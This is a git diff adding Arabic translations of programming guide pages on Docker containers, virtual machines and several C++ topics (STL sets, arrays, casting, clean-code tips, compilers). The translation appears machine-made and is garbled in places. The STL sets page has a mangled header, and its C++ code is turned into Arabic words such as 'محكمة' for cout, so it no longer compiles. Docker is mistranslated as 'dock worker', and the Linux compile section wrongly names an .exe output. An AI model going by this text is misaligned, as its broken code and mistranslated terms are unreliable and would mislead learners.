+قد تكون حالة الاستخدام الشائع هي حزم التطبيق وكل متطلباته في الحاوية. يمكن بعد ذلك استخدام الحاوية أثناء التطوير ، وتمريرها إلى ضمان / اختبار الجودة ، وإلى الإنتاج / العمليات. هذا يزيل عقلية "يعمل على الجهاز الخاص بي" ، حيث أن الحاوية _هي_ الآلة بشكل فعال ، بغض النظر عن الأجهزة الفعلية التي قد تعمل عليها.
+
+بعد الانتهاء من إعداد جهاز الكمبيوتر الخاص بك و docker dockig ، يمكنك ببساطة اختبار Docker الخاص بك عن طريق تشغيل الأمر:
+
+ `$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+` 
+
+إذا لم يكن لديك صورة hello-world محليًا ، فسيقوم Docker بتنزيلها تلقائيًا على جهازك. يمكنك إدراج الصورة التي تم تنزيلها أو إنشاؤها على جهازك عن طريق تشغيل الأمر:
+
+ `$ docker image ls 
+` 
+
+يحتوي [متجر Docker Store](https://hub.docker.com/explore/) على العديد من التطبيقات الشائعة المجمعة في حاويات وجاهزة للاستخدام.
+
+## قراءة متعمقة
+
+*   [وثائق عامل الميناء](https://docs.docker.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/containers/index.md b/client/src/guide/arabic/containers/index.md
new file mode 100644
index 0000000000..b6b796a43f
--- /dev/null
+++ b/client/src/guide/arabic/containers/index.md
@@ -0,0 +1,53 @@
+---
+title: Containers
+localeTitle: حاويات
+---
+## حاويات
+
+تعتبر الحاويات حلاً لمشكلة كيفية تشغيل البرامج بشكل موثوق عند نقلها من بيئة حاسوبية إلى أخرى. قد يكون ذلك من كمبيوتر محمول في المطور إلى بيئة اختبار ، ومن بيئة مرحلية إلى إنتاج ، وربما من جهاز فعلي في مركز بيانات إلى جهاز افتراضي في سحابة خاصة أو عامة.
+
+بعبارة أخرى ، تتكون الحاوية من بيئة تشغيل كاملة: تطبيق ، بالإضافة إلى كل تبعياتها ومكتباتها وثنائيات أخرى ، وملفات التكوين اللازمة لتشغيلها ، والمجمعة في حزمة واحدة. من خلال نقل الحاويات إلى منصة التطبيقات واعتمادياتها ، يتم استبعاد الاختلافات في توزيعات نظام التشغيل والبنية التحتية الأساسية.
+
+الحاويات هي محاكاة افتراضية على مستوى نظام التشغيل - وهي ميزة نظام تشغيل تسمح فيها kernel بوجود العديد من مثيلات مساحة المستخدم المعزولة. مثل هذه الحالات ، تسمى حاويات قد تبدو وكأنها أجهزة كمبيوتر حقيقية من وجهة نظر البرامج التي تعمل فيها.
+
+## الأجهزة الظاهرية
+
+يعد VM مضاهاة لجهاز كمبيوتر حقيقي يقوم بتنفيذ برامج مثل الكمبيوتر الحقيقي. تشغيل VMs على الجهاز المادي باستخدام "hypervisor". ويعمل المشرف ، بدوره ، إما على جهاز مضيف أو على "معدن عاري".
+
+برنامج _Hypervisor_ هو جزء من برنامج أو برنامج ثابت أو جهاز تقوم بتشغيله أجهزة VM. تعمل برامج Hypervisors نفسها على أجهزة الكمبيوتر المادية ، يشار إليها باسم "الجهاز المضيف". يوفر الجهاز المضيف VMs مع الموارد ، بما في ذلك ذاكرة الوصول العشوائي ووحدة المعالجة المركزية. وتنقسم هذه الموارد بين VMs ويمكن توزيعها على النحو الذي تراه مناسبا. لذلك إذا كان أحد أجهزة VM يشغل تطبيقًا أكثر ثقلاً من حيث الموارد ، فيمكنك تخصيص المزيد من الموارد إلى ذلك الجهاز من أجهزة VM الأخرى التي تعمل على نفس الجهاز المضيف.
+
+وكثيراً ما يطلق على جهاز VM الذي يعمل على الجهاز المضيف (مرة أخرى ، باستخدام hypervisor) "جهاز الضيف". تحتوي آلة الضيف هذه على كل من التطبيق وكل ما يحتاجه لتشغيل هذا التطبيق (مثل ثنائيات النظام والمكتبات). كما أنها تحمل مجموعة كاملة من الأجهزة الافتراضية الخاصة بها ، بما في ذلك محولات الشبكة الافتراضية ، والتخزين ، ووحدة المعالجة المركزية (CPU) - مما يعني أن لديها أيضًا نظام تشغيل كامل خاص بها. من الداخل ، فإن آلة الضيف تتصرف كوحدة خاصة بها مع مواردها الخاصة. من الخارج ، نحن نعرف أنه من موارد المشاركة VM المقدمة من قبل الجهاز المضيف.
+
+كما ذكرنا أعلاه ، يمكن تشغيل جهاز الضيف إما على hypervisor مستضاف أو برنامج مراقبة الأجهزة العارية. هناك بعض الاختلافات المهمة بينهما.
+
+أولاً ، يعمل برنامج hypervisor ظاهري مستضافة على نظام تشغيل الجهاز المضيف. على سبيل المثال ، يمكن لجهاز كمبيوتر يعمل بنظام OSX أن يحتوي على VM (على سبيل المثال VirtualBox أو VMware Workstation 8) مثبتًا أعلى نظام التشغيل هذا. لا يمتلك جهاز VM إمكانية الوصول المباشر إلى الأجهزة ، لذا يجب عليه المرور عبر نظام التشغيل المضيف (في حالتنا ، OS OS في Mac).
+
+تتمثل فائدة برنامج hypervisor المستضاف في أن الأجهزة الأساسية أقل أهمية. نظام التشغيل الخاص بالمضيف هو المسؤول عن برامج تشغيل الأجهزة بدلاً من hypervisor نفسه ، ومن ثم فهو يعتبر أكثر توافقًا للأجهزة. ومن ناحية أخرى ، تعمل هذه الطبقة الإضافية بين الجهاز وجهاز hypervisor على إنشاء المزيد من الموارد العامة ، مما يقلل أداء VM.
+
+تعمل بيئة hypervisor المعدن العارية على معالجة مشكلة الأداء من خلال التثبيت على أجهزة الجهاز المضيف وتشغيلها. نظرًا لأنها تعمل بشكل مباشر مع الأجهزة الأساسية ، فإنها لا تحتاج إلى تشغيل نظام تشغيل مضيف. في هذه الحالة ، سيكون أول شيء يتم تثبيته على خادم الجهاز المضيف كنظام التشغيل هو المشرف. بخلاف برنامج hypervisor المستضاف ، فإن برنامج hypervisor المعدن يحتوي على برامج تشغيل خاصة به ويتفاعل مع كل مكون بشكل مباشر لأي مهام I / O أو معالجة أو مهام خاصة بالبرنامج. وهذا يؤدي إلى تحسين الأداء والقابلية والاستقرار. المقايضة هنا هي أن توافق الأجهزة محدود نظرًا لأن برنامج hypervisor يمكن أن يحتوي على العديد من برامج تشغيل الأجهزة المضمنة فيه فقط.
+
+بعد كل هذا الحديث عن برامج Hypervisor ، قد تتساءل عن سبب حاجتنا إلى طبقة "hypervisor" الإضافية هذه بين جهاز VM والجهاز المضيف على الإطلاق.
+
+حسنًا ، بما أن VM لديها نظام تشغيل افتراضي خاص بها ، يلعب hypervisor دورًا أساسيًا في تزويد VMs بمنصة لإدارة نظام التشغيل الضيف هذا وتنفيذه. يسمح لأجهزة الكمبيوتر المضيفة بمشاركة مواردها بين الأجهزة الظاهرية التي تعمل كضيوف فوقها.
+
+## حاوية
+
+على عكس جهاز VM الذي يوفر محاكاة الأجهزة الافتراضية ، توفر الحاوية محاكاة افتراضية على مستوى نظام التشغيل من خلال استخراج "مساحة المستخدم". سترى ما أعنيه عندما نقوم بفك عبوة المصطلح.
+
+لجميع المقاصد والأغراض ، تبدو الحاويات مثل جهاز VM. على سبيل المثال ، لديهم مساحة خاصة للمعالجة ، ويمكن تنفيذ الأوامر كجذر ، ولها واجهة شبكة خاصة وعنوان IP ، والسماح بتوجيهات مخصصة وقواعد iptable ، ويمكن تركيب أنظمة الملفات ، وما إلى ذلك.
+
+الفرق الكبير الوحيد بين الحاويات و VMs هو أن الحاوية _تتشارك_ في نواة النظام المضيف مع حاويات أخرى.
+
+## تزامن
+
+هناك العديد من أطر تزامن الحاويات في الإنتاج: رصيف الميناء-سرب و kubernetes
+
+## قائمة مزودي الحاوية
+
+القائمة التالية هي قائمة صغيرة من أكثر بائعي الحاويات استخدامًا والتي يمكن استخدامها.
+
+*   [عامل ميناء](https://www.docker.com/)
+*   [Kubernetes](https://kubernetes.io/)
+*   [Amazon AWS ECS](https://aws.amazon.com/ecs/?nc1=h_ls)
+*   [RKT](https://github.com/rkt/rkt)
+*   [نسيج أزور](https://azure.microsoft.com/en-us/services/service-fabric/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/containers/run-your-first-docker-image/index.md b/client/src/guide/arabic/containers/run-your-first-docker-image/index.md
new file mode 100644
index 0000000000..9e3b41246c
--- /dev/null
+++ b/client/src/guide/arabic/containers/run-your-first-docker-image/index.md
@@ -0,0 +1,28 @@
+---
+title: Run Your First Docker Image
+localeTitle: تشغيل أول صورة عامل الميناء الخاص بك
+---
+## تشغيل أول صورة عامل الميناء الخاص بك
+
+بعد الانتهاء من إعداد جهاز الكمبيوتر الخاص بك و docker dockig ، يمكنك ببساطة اختبار Docker الخاص بك عن طريق تشغيل الأمر:
+
+ `$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+` 
+
+إذا لم يكن لديك صورة hello-world محليًا ، فسيقوم Docker بتنزيلها تلقائيًا على جهازك. يمكنك إدراج الصورة التي تم تنزيلها أو إنشاؤها على جهازك عن طريق تشغيل الأمر:
+
+ `$ docker image ls 
+` 
+
+معلومات اكثر:
+
+اختبار [وثائق](https://docs.docker.com/get-started/#test-docker-installation) تركيب Docker.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/C- STL sets/index.md b/client/src/guide/arabic/cplusplus/C- STL sets/index.md
new file mode 100644
index 0000000000..d3ed5f3c01
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/C- STL sets/index.md	
@@ -0,0 +1,23 @@
+InlocaleTitle: undefined
+troduction من مجموعات في مكتبة C ++ STL المجموعات هي نوع من الحاويات الترابطية التي يجب أن يكون كل عنصر فيها فريدًا. لا يمكن تعديل قيمة العنصر بمجرد إضافته إلى المجموعة ، على الرغم من أنه من الممكن إزالة القيمة المعدلة لهذا العنصر وإضافتها. يتم تنفيذها باستخدام شجرة سوداء حمراء.
+
+فوائد استخدام المجموعات
+
+1.  يخزن القيم الفريدة فقط.
+2.  تحدد قيمة العنصر نفسه. قيمة العنصر هي أيضًا المفتاح المستخدم لتعريفه.
+3.  يوفر بحثًا سريعًا (O (log n)) باستخدام مفاتيح ie element نفسه.
+4.  هناك العديد من وظائف يحمل في ثناياه عوامل في مجموعات تعريف الطبقة التي تسهل البرمجة.
+
+مثال: '' 'ج ++
+
+# تتضمن
+
+استخدام اسم للمحطة؛ انت مين() { جلس الصورة.
+
+s.insert (2)؛ // insert element 2 in set s s.insert (3)؛ s.insert (5)؛ s.insert (2)؛ // إدراج نفس العنصر 2 s.insert (6)؛ لـ (auto i: s) cout << i << ""؛ محكمة << s.size () << ENDL. // يعطي حجم مجموعة
+
+s.erase (5)؛ // مسح عنصر 5 من مجموعة s العودة 0 } '' ' إنشاء كائن مجموعة '' 'ج ++ جلس الصورة. '' '
+
+إدراج '' 'ج ++ s.insert (القيمة _المراد_ تفسيرها) ؛ '' '
+
+الوصول إلى عناصر المجموعة '' 'ج ++ جلس :: يكررها ؛ لـ (it = s.begin ()؛ it! = s.end ()؛ ++ it) محكمة << \* هو؛ '' '
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/arrays/index.md b/client/src/guide/arabic/cplusplus/arrays/index.md
new file mode 100644
index 0000000000..8da4d82659
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/arrays/index.md
@@ -0,0 +1,38 @@
+---
+title: C++ Arrays
+localeTitle: صفائف C ++
+---
+## ما هي صفائف؟
+
+المصفوفة هي سلسلة من العناصر من نفس نوع البيانات التي يتم تخزينها في مواقع الذاكرة المتجاورة ويمكن الرجوع إليها بشكل فردي.
+
+على سبيل المثال ، يتم تعريف مصفوفة تحتوي على 5 قيم عدد صحيح تسمى الأرقام كما يلي:
+
+ `int numbers [5]; 
+` 
+
+Initializiation:
+
+ `//Initialization with entries: 
+ int numbers [5] = {1, 2, 3, 4, 5}; 
+ 
+ //Initialization with no values: 
+ int numbers [5] = {}; 
+ 
+ //Initialization with declaration: 
+ int numbers [] = {1, 2, 3, 4, 5}; 
+ //Note that here the number of values defines the size of the array. 
+ //In the examples above, the size was fixed beforehand 
+` 
+
+**لاحظ** أن المصفوفات في C ++ ليست قابلة للتحويل من حيث الحجم ، مما يعني أنه بمجرد أن تقوم بإعلان مصفوفة بحجم 5 ، فلا يمكن تكبيرها أو تصغيرها. في حال كنت بحاجة إلى مصفوفة أكبر بنفس الإدخالات ، فسيتعين عليك نسخ كل الإدخالات إلى مجموعة جديدة من الحجم الأكبر.
+
+### التمكن من:
+
+يمكن الوصول إلى عناصر من مصفوفة من خلال الإشارة إلى موقعها في الصفيف. (ابدأ العد من 0).  
+مثال:
+
+ `x = numbers[0]; // = 1. [0] == first position 
+ numbers[2] = 55; // Sets the third position (3) to the new number 55 
+ //numbers[] is now: {1, 2, 55, 4, 5} 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/casting/index.md b/client/src/guide/arabic/cplusplus/casting/index.md
new file mode 100644
index 0000000000..1d41b5ad65
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/casting/index.md
@@ -0,0 +1,86 @@
+---
+title: Casting
+localeTitle: صب
+---
+## صب
+
+المصبوب عامل تشغيل خاص يفرض تحويل نوع بيانات واحد إلى نوع آخر
+
+يختلف الصب في C ++ إلى حد ما عن C ++ يجعل استخدام وظائف الصب متميزة.
+
+### static\_cast
+
+يتم استخدام قالب ثابت للتحويلات الضمنية بين الأوليات ونوع التحميل الزائد.
+
+### const\_cast
+
+يمكن استخدام Const Cast لإلقاء العقوبة. هذا مفيد عندما تكون هناك رغبة في تحوير قيمة ثابتة. وينبغي استخدام ذلك بشكل مقتصد ، وبدلاً من ذلك ، ينبغي للمرء أن يفكر في جعل المعلمات / الوظائف غير ثابتة في الحالات التي يتم فيها استخدام قالب بث.
+
+يمكن أن يؤدي Const Cast أيضًا إلى سلوك غير معروف. يجب أن يكون التطبيق الوحيد لـ Const const هو إزالة الثوابت من القيمة التي تم تمريرها إلى الدالة والعلامة المميزة. إذا كانت القيمة const حقيقةً ، أي ، يتم وضع علامة const في وقت التحويل البرمجي وتعيين قيمة ، سيؤدي تحويل const وتغيير المتغير إلى سلوك غير معروف.
+
+ `const int y = 10;             // y is set to 10. 
+ const_cast<int &>(y) = 20;    // undefined behaviour. 
+` 
+
+### dynamic\_cast
+
+يتم استخدام الإرسال الديناميكي لإلقاء كائن ضمن التسلسل الهرمي الخاص به (إلى الأصل ، من الأصل إلى الأشقاء). لا يمكن استدعاء الطبقة الديناميكية إلا على فئات متعددة الأشكال. وبالتالي ، فإن الطبقة الأصلية في هذه الحالة يجب أن يكون `MyClass` عضوًا ظاهريًا ، موجودًا على شكل destructor افتراضي.
+
+إذا فشل `nullptr` الديناميكي ، فسيتم إرجاع `nullptr` . قد يكون التمثيل الديناميكي مفيدًا في تحديد أنواع الكائنات في وقت التشغيل. ومع ذلك ، تجدر الإشارة إلى أن المصبوب الديناميكي ليس مجانيًا وفي بعض الحالات قد تكون التقنيات الأخرى أكثر كفاءة في تحديد نوع الصف في وقت التشغيل.
+
+### reinterpret\_cast
+
+ربما تكون إعادة التسمية المسببة للتوتر هي الأخطر من بين جميع أشكال C ++ ، ولكن عند استخدامها بشكل صحيح يمكن أن تكون مثالية. لا تؤدي إعادة صياغة التسمية إلى حدوث أي تكلفة للأداء نظرًا لأنها لا تؤدي أي تحويلات. إنه ببساطة يرشد المحول البرمجي لمعالجة الكائن المصبوب كما لو كان من النوع المطلوب. يمكن أن يؤدي ذلك أيضًا إلى ظهور مشكلات المحاذاة ، لذا يجب استخدامها بشكل مقتصد وفقط عندما يتم التعرف على الآثار الجانبية وحسابها.
+
+#### ملاحظة على الطرز C- النمط
+
+يدعم C ++ استخدام قوالب C النمط ، على الرغم من أنها غير مستحسن. سيُسْتَخْدِم استخدام الزهر على النمط C على المحول البرمجي أن يقوم أولاً بأداء _قالب_ ثابت _، في حالة_ فشل الاستطاعة _الثابتة_ ، يتم استخدام reinterpret\_cast في مكانه. لهذا السبب ، قد ينتج عن أنماط C النمط نتائج غير متوقعة وتثير مشكلات غير متوقعة.
+
+## أمثلة
+
+ `#include <iostream> 
+ 
+ class MyClass { 
+ public: 
+    virtual ~MyClass() = default; 
+ 
+    void greet() { 
+        std::cout << "Hello World!" << std::endl; 
+    } 
+ }; 
+ 
+ class MyClassChild : public MyClass { 
+ }; 
+ 
+ void reinterpretCastTest(void *objectPtr) { 
+    // Let's assume we know objectPtr is of type MyClass * 
+    auto myClassObj = reinterpret_cast<MyClassChild *>(objectPtr); 
+    myClassObj->greet(); 
+ } 
+ 
+ void constCastTest(const MyClassChild &myClassChild) { 
+    auto nonConst = const_cast<MyClassChild &>(myClassChild); 
+    nonConst.greet(); 
+ } 
+ 
+ void dynamicCastTest(MyClass *myClass) { 
+    auto *child = dynamic_cast<MyClassChild *>(myClass); 
+    child->greet(); 
+ } 
+ 
+ void staticCastTest(float floatVal) { 
+    // Convert the float into an int. 
+    auto intVal = static_cast<int>(floatVal); 
+    std::cout << intVal << std::endl; 
+ } 
+ 
+ int main() { 
+    MyClassChild myClass; 
+    reinterpretCastTest(&myClass); 
+    constCastTest(myClass); 
+    dynamicCastTest(&myClass); 
+    staticCastTest(10.5); 
+ 
+    return 0; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/clean-code-guidelines/index.md b/client/src/guide/arabic/cplusplus/clean-code-guidelines/index.md
new file mode 100644
index 0000000000..41e1181b70
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/clean-code-guidelines/index.md
@@ -0,0 +1,102 @@
+---
+title: Clean Code Guidelines
+localeTitle: تعليمات كود نظيفة
+---
+# تعليمات كود نظيفة
+
+عند الترميز ، يمكن أن يكون نمط الترميز الذي تتابعه مهمًا حقًا. خاصة عندما تعمل مع فريق أو تخطط لمشاركتك الشفرة. معظم هذه الإرشادات قياسية ويمكن تطبيقها على معظم لغات البرمجة ، ومع ذلك ، هنا لديك تطبيقات و مقتطفات مع رمز c ++ ، حتى تتمكن من التعرف عليها بسهولة. تذكر أن هذه ليست سوى توصيات لتحقيق الوضوح ، والتي يمكن أن تكون شخصية ، لذا خذ هذه النصائح في الاعتبار ولكن لا تأخذها إلى الرسالة. في بعض الأحيان قد يؤدي كسر بعض هذه القواعد إلى جعل الشفرة أكثر نظافة.
+
+## استخدم أسماء المتغيرات الجيدة وقم بالتعليقات
+
+تأكد من إنشاء أسماء متغيرة جيدة ، على سبيل المثال ، إذا كنت تقوم بإنشاء لعبة ، تجنب استخدام المتغير "a" استخدم شيئًا مثل "p1" يشير إلى اللاعب 1. إن [الترميز الهنغاري](https://en.wikipedia.org/wiki/Hungarian_notation) منتشر بشكل شائع ويمكن أن يعطيك بعض الخطوط الجانبية للإعلان المتغيرات.
+
+أيضا ، يرجى استخدام التعليقات ، أنا لا أمزح حتى ، مجرد محاولة قراءة بعض المشاريع القديمة التي قمت بها دون تعليقات ... الآن تخيل كونه شخص آخر لم يقم حتى برمجته.
+
+## المتغيرات العالمية
+
+يمكن أن تكون المتغيرات العالمية سهلة الاستخدام ، ومع القليل من التعليمات البرمجية قد تبدو وكأنها حل رائع. ولكن عندما يصبح الرمز أكبر وأكبر ، يصبح من الصعب معرفة متى يتم استخدامه.
+
+بدلاً من استخدام المتغيرات العامة ، يمكنك استخدام المتغيرات التي تم الإعلان عنها في الوظائف والتي يمكن أن تساعدك في تحديد القيم التي يتم تمريرها وتحديد الأخطاء بشكل أسرع.
+
+ `#include <iostream> 
+ using namespace std; 
+ 
+ // Global variables are declared outside functions 
+ int cucumber; // global variable "cucumber" 
+` 
+
+## استخدام الانتقال والمتابعة وما إلى ذلك.
+
+هذا هو النقاش المعتاد بين المبرمجين ، تماما مثل المتغيرات العالمية ، وعادة ما تعتبر هذه الأنواع من البيانات ممارسة سيئة. تعتبر سيئة لأنها تؤدي إلى ["رمز spaguetti"](https://en.wikipedia.org/wiki/Spaghetti_code) . عندما نبرمج نحن نريد التدفق الخطي ، عند استخدام هذه العبارات يتم تعديل التدفق ويؤدي إلى تدفق "ملتوي ومتشابك".
+
+تم استخدام Goto في الماضي عندما ، بينما ، إذا ، إذا كانت الوظائف ، مع ذلك ، تم إنشاء مقدمة هذه البرمجة المنظمة. بشكل عام ، تجنب استخدام goto ما لم تكن متأكدًا من أنها ستجعل رمز نظافتك وأسهل في القراءة. مثال قد يكون استخدامه في حلقات متداخلة.
+
+استخدام الفاصل والمتابعة من الناحية العملية هو نفسه. استخدمها في المحولات ومحاولة جعل الوظائف ذات غرض وحيد بحيث يكون لديك نقطة خروج واحدة فقط.
+
+![IMG](https://imgs.xkcd.com/comics/goto.png)
+
+## تجنب تغيير متغير التحكم داخل حلقة for
+
+عادة ما تكون هناك أعمال حول هذا تبدو أكثر وضوحا وأقل إرباكا ، على سبيل المثال. بينما الحلقات. فعل:
+
+ `int i=1; 
+ while (i <= 5) 
+ { 
+    if (i == 2) 
+        i = 4; 
+ 
+    ++i; 
+ } 
+` 
+
+بدلا من:
+
+ `for (int i = 1; i <= 5; i++) 
+ { 
+    if (i == 2) 
+    { 
+       i = 4; 
+    } 
+    // Do work 
+ } 
+` 
+
+## أعلن الثوابت وأنواع في الجزء العلوي
+
+عادة ما يتم الإعلان عنها بعد المكتبات ، وهذا يجعلها أكثر سهولة وقراءة أسهل. بالنسبة للمتغيرات المحلية ، يحدث الأمر نفسه ، وتعلن عنه في الأعلى (يقوم الآخرون بإعلانه بشكل أكبر في وقت لاحق من أجل توفير الذاكرة انظر: [cplusplus.com](http://www.cplusplus.com/forum/general/33612/)
+
+## استخدم وظيفة إرجاع واحدة فقط في النهاية
+
+وكما قلنا من قبل ، فإننا نميل إلى إدخال مدخل وخروج واحد فقط لجعل التدفق أكثر وضوحًا.
+
+## استخدم الأقواس المتعرجة حتى عند كتابة إحدى الخطوط
+
+سيساعدك جعلها بشكل منتظم على القيام بها بشكل أسرع وفي حالة رغبتك في تغيير الشفرة في المستقبل ، ستتمكن من القيام بذلك دون قلق.
+
+بدلا من:
+
+ `for (int i = 1; i <= 5; i++) 
+    //CODE 
+` 
+
+فعل:
+
+ `for (int i = 1; i <= 5; i++) 
+ { 
+    //CODE 
+ } 
+` 
+
+## توصيات أخرى
+
+*   #### استخدمه عندما تعرف عدد التكرارات ، بينما تفعل عندما لا تفعل ذلك.
+    
+*   #### استخدم const ، مررًا حسب القيمة / المرجع عندما يكون مناسبًا. هذا سوف يساعد في توفير الذاكرة.
+    
+*   \#### كتابة const في أحرف استهلالية ، أنواع البيانات تبدأ بـ T والمتغيرات في الحالة الصغيرة.
+    
+
+ `const int MAX= 100;             //Constant 
+ typedef int TVector[MAX];       //Data type 
+ TVector vector;                 //Vector 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/compilers/index.md b/client/src/guide/arabic/cplusplus/compilers/index.md
new file mode 100644
index 0000000000..2f7af50890
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/compilers/index.md
@@ -0,0 +1,55 @@
+---
+title: C++ Compilers
+localeTitle: C ++ Compilers
+---
+# مقدمة إلى C ++ Compilers
+
+من أجل البدء مع C ++ ، سوف تحتاج إلى معرفة القليل عن المجمعين وكيف يعمل C ++ على جهاز الكمبيوتر الخاص بك.
+
+عندما يتم قول وفعل كل شيء ، لا تفهم أجهزة الكمبيوتر إلا لغة واحدة ، لغة الآلة. لغة الآلة تتكون بالكامل من بت ثنائية ، أو صفر و 1 ثانية. في حين أنه سيكون من الممكن برمجة في ثنائي ، سيكون من الممل بشكل لا يصدق وتستغرق وقتا طويلا. لذلك ، نحن البشر تطوير لغات البرمجة لتسهيل تطوير البرمجيات. لغة التجميع هي مباشرة 1 إلى 1 مع الجهاز لغة. تكون اللغات مثل C و C ++ و COBOL أعلى قليلاً وتحتاج إلى تجميعها. يذهب أعلى من ذلك. اللغات مثل JavaScript و Python يحتويان على مكونات يتم ترجمتها إلى لغة C ++ أو لغات أخرى منخفضة المستوى قبل تجميعها ، على نحو فعال جعلهم "أعلى" من اللغات C أو C ++. نظرًا لأن بنية الكمبيوتر تتكون من مفاتيح كهربائية وكابلات إلكترونية لا يمكنها العمل إلا مع الثنائيات والآليات الثنائية ، تحتاج إلى مترجم لترجمة التعليمات البرمجية الخاصة بك من C ++ عالية المستوى إلى لغة الجهاز التي يمكن أن تفهم وحدة المعالجة المركزية.
+
+المجمعات هي برامج مساعدة تأخذ الكود الخاص بك وتحويله إلى ملفات التعليمات البرمجية القابلة للتنفيذ. عند تشغيل مترجم على التعليمات البرمجية الخاصة بك ، أولاً ، يقرأ preprocessor التعليمات البرمجية المصدر (ملف C ++ الذي كتبته للتو). يبحث المعالج مسبقا عن أي توجيهات preprocessor (خطوط التعليمات البرمجية تبدأ بـ #). تعليمات preprocessor تسبب preprocessor لتغيير التعليمات البرمجية الخاصة بك بطريقة ما (عادة بإضافة بعض المكتبة أو ملف C ++ آخر). بعد ذلك ، يعمل المحول البرمجي عبر سطر التعليمات البرمجية المُختبَر مسبقًا عن طريق سطر الترجمة كل سطر في تعليمات لغة الآلة المناسبة. سيكشف هذا أيضًا عن أي أخطاء في بناء الجملة موجودة في التعليمات البرمجية المصدر وسوف يلقي خطأ في سطر الأوامر. وأخيرًا ، في حالة عدم وجود أخطاء ، يقوم المترجم بإنشاء كائن الملف مع ثنائي اللغة آلة اللازمة لتشغيل على جهازك. بينما ملف الكائن الذي أنشأه المترجم من المحتمل أن تقوم بعمل ما على جهاز الكمبيوتر الخاص بك ، فإنه لا يزال غير قابل للتنفيذ من برنامج C ++ الخاص بك. هناك نهائي خطوة مهمة للوصول إلى برنامج قابل للتنفيذ.
+
+يحتوي C ++ على مكتبة كبيرة للمساعدة في أداء المهام الصعبة مثل I / O والتلاعب بالأجهزة. يمكنك تضمين هذه المكتبات مع توجيهات ما قبل المعالجة ، لكن المعالج الأولي لا يضيفها تلقائيًا إلى شفرتك. من أجل أن يكون لديك برنامج نهائي قابل للتنفيذ ، يجب على الأداة المساعدة الأخرى المعروفة باسم رابط دمج ملفات الكائن مع وظائف المكتبة اللازمة لتشغيل التعليمات البرمجية. فكر في الأمر على أنه يحتوي على كل الكتل اللازمة لبناء منزل. قام المترجم بكتابة جميع الكتل ، لكن الرابط هو الذي يربطها معا لخلق منزل في النهاية. بمجرد الانتهاء من ذلك ، لديك الآن ملف تنفيذي فعال!
+
+## كيفية ترجمة ملف
+
+لنفترض أن لديك ملف C ++ يسمى `helloWorld.cpp` ...
+
+### إذا كنت تستخدم نظام Windows -
+
+#### باستخدام و IDE مثل CodeBlocks
+
+إنه بسيط مثل النقر فوق أزرار الإنشاء والتشغيل ، سيقومون بإنشاء ملف في مجلد المشروع. ![IMG](https://i.imgur.com/FwZuFGy.png)
+
+#### باستخدام موجه الأوامر
+
+1.  افتح موجه أوامر المطور - للحصول على هذه الخطوة ، يجب أن يكون لديك Microsoft Visual Studio أو بعض IDE أخرى تمكنك من ترجمة البرنامج الخاص بك من سطر الأوامر. يمكنك أيضًا البحث عبر الإنترنت عن compilers C ++.
+    
+2.  انتقل إلى شفرة المصدر مباشرة
+    
+3.  تشغيل المحول البرمجي على التعليمات البرمجية المصدر (بافتراض أنك تستخدم برنامج التحويل البرمجي Microsoft Visual Studio) `cl /EHsc helloWorld.cpp`
+    
+
+سيؤدي ذلك الآن إلى إنشاء ملف كائن وربطه تلقائيًا نيابة عنك. إذا نظرت في هذا المجلد نفسه ، سترى أ الملف القابل للتنفيذ hellWorld.exe (لاحظ ملحق EXE) موجود الآن.
+
+4.  اكتب `helloWorld` إلى المطالبة بتشغيل الملف القابل للتنفيذ
+
+بدلاً من ذلك ، تسمح العديد من IDEs ببناء البرنامج وعرضه بسرعة. قد يكون هذا أسهل منذ إصدار قد لا تأتي النوافذ قبل تعبئتها باستخدام أداة التحويل البرمجي.
+
+### إذا كنت تستخدم Linux أو OSX -
+
+1.  افتح نافذة طرفية وانتقل إلى دليل التعليمات البرمجية المصدر
+2.  قم بتشغيل المحول البرمجي على شفرتك المصدرية `g++ helloWorld.cpp -o helloWorld`
+
+سيؤدي ذلك إلى إنشاء ملف كائن وربطه تلقائيًا نيابة عنك. ابحث في المجلد وسترى helloWorld.exe ملف قابل للتنفيذ (لاحظ ملحق إكس).
+
+3.  اكتب `./helloWorld` في نافذة طرفية لتشغيل الملف القابل للتنفيذ
+
+g + هو مترجم لينكس القياسي وهو أداة رائعة. انها تأتي معبأة مع نظام التشغيل.
+
+ملحوظة: لترجمة وتنفيذ التعليمات البرمجية الخاصة بك مباشرة ، قم بتشغيل `g++ -o helloWorld helloWorld.cpp; ./helloWorld` لذلك عندما تحتاج إلى ترجمة وتشغيل التعليمات البرمجية الخاصة بك عدة مرات ، يصل السهم-أدخل
+
+* * *
+
+هناك عدد من أنواع مختلفة من المجمعين. وهما المدرجة هي التي يتم حزمها عادة مع ويندوز أو Linux / OSX.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/conditional-operator/index.md b/client/src/guide/arabic/cplusplus/conditional-operator/index.md
new file mode 100644
index 0000000000..f384365dd8
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/conditional-operator/index.md
@@ -0,0 +1,41 @@
+---
+title: Conditional Operator
+localeTitle: مشغل شرطي
+---
+## مشغل شرطي
+
